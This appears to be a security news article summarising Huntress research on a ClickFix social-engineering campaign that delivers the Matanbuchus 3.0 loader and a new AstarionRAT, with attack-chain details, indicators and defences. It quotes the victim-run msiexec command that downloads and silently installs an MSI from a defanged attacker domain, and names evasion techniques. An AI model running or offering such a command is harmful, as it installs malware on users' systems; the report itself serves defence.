ClickFix Social Engineering Fuels Matanbuchus 3.0 AstarionRAT Attack

Cybersecurity researchers uncovered a sophisticated attack chain where attackers used ClickFix social engineering to deliver Matanbuchus 3.0 malware, ultimately deploying a new remote access trojan called AstarionRAT.

This intrusion targeted an organization in February 2026 and featured rapid lateral movement toward domain controllers. The Huntress team disrupted the operation before attackers could achieve ransomware or data exfiltration goals.​​

Attack Execution Chain

According to Huntress, clickFix tricks users with fake browser error messages urging them to copy and paste a malicious command into the Run dialog or terminal.

Victims execute “C:\WINDOWS\system32\mSiexeC.EXe” -PaCkAGe hxxp://binclloudapp[.]com/temp/../ValidationID/../466943 /q, downloading a silent MSI installer.

The MSI extracts files to paths that mimic legitimate security software, such as %APPDATA%\Cybernetics Ltd\Threat Fabric, and uses Zillya Antivirus binaries for DLL sideloading.​​

Core.exe, a renamed Zillya AV component, loads the malicious SystemStatus.dll, which is Matanbuchus 3.0.

This loader decrypts shellcode from INFO, downloads its main module from hxxps://marle[.]io/checkupd/profile.aspx via ChaCha20 encryption, then drops a second-stage package in %LOCALAPPDATA%\ndvyxgdriggmarrf.

Java.exe loads the fake jli.dll, which embeds a Lua 5.4.7 interpreter to execute the SySUpd script.​​ The Lua script triggers a reflective PE loader that reconstructs and runs AstarionRAT in memory.

This new RAT supports 24 commands, including credential theft, SOCKS5 proxying, port scanning, shell execution, and RSA-encrypted C2 traffic disguised as app telemetry to www[.]ndibstersoft[.]com.

Attackers staged tools in C:\ProgramData\USOShared, mimicking Windows Update, then used PsExec for lateral movement to a server and domain controllers in under 40 minutes. They created rogue “DefaultService” accounts and set Defender exclusions.​​

Indicators and Mitigation

Matanbuchus 3.0, a premium MaaS loader priced at $10,000-$15,000 monthly, evolved to include junk code, ChaCha20 encryption, and EDR evasion techniques such as KnownDlls unhooking.

AstarionRAT’s C2 blends with legitimate telemetry. Huntress assessed the ransomware’s intent as medium confidence based on its tactics.​​

Defend by training users against command-pasting prompts, turning off Run dialog via Group Policy, and monitoring PsExec, rogue accounts, and EDR exclusions use YARA rules for detection.

Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.